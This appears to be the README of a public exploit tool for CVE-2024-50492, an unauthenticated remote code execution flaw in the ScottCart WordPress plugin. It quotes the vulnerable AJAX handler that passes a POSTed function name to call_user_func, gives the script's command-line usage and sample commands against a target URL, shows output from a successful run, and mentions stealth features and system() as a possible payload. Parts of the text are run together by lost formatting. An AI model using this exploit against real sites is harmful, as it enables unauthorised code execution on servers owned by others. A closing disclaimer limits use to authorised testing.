nxploited/cve-2024-50492ScottCart <= 1.1 - Unauthenticated Remote Code Execution
🔥 Exploit Script for ScottCart <= 1.1 - Unauthenticated Remote Code Execution
🧑💻 By Nxploit – Khaled Alenazi
The ScottCart plugin for WordPress (versions ≤ 1.1) is vulnerable to Remote Code Execution (RCE).
This allows unauthenticated attackers to execute arbitrary PHP functions on the server through a vulnerable AJAX endpoint.
The plugin registers an unprotected AJAX action:
add_action('wp_ajax_nopriv_scottcart_load_function', 'scottcart_load_function_callback');
Which executes:
call_user_func($_POST['function']);
Allowing attackers to call any existing PHP function, like:
phpinfo()scottcart_get_the_user_ip()system() ← if extended in modified environmentsphpinfo() for PoCresults_2025-03-26_14-33-01.txt)User-Agent, error handling, and SSL ignore for stealthusage: CVE-2024-50492.py [-h] -u URL [-p PAYLOAD]
ScottCart <= 1.1 - Unauthenticated Remote Code Execution
By Nxploit Khaled Alenazi.
options:
-h, --help Show this help message and exit
-u URL, --url URL Target base URL (e.g., http://192.168.100.74:888/wordpress)
-p PAYLOAD, --payload PAYLOAD
Function to call (default: phpinfo)
phpinfo()):python3 CVE-2024-50492.py -u http://192.168.100.74:888/wordpress
python3 CVE-2024-50492.py -u http://192.168.100.74:888/wordpress -p scottcart_get_the_user_ip
[+] Target URL: http://192.168.100.74:888/wordpress
[+] Payload Function: phpinfo
[*] Launching exploit...
[+] Sending payload: function=phpinfo
[+] Exploit successful! Output:
PHP Version => 8.1.12
...
📁 And saved in: results_2025-03-26_14-33-01.txt
This tool is for educational and authorized testing purposes only.
Do not use against systems you do not own or have explicit permission to test.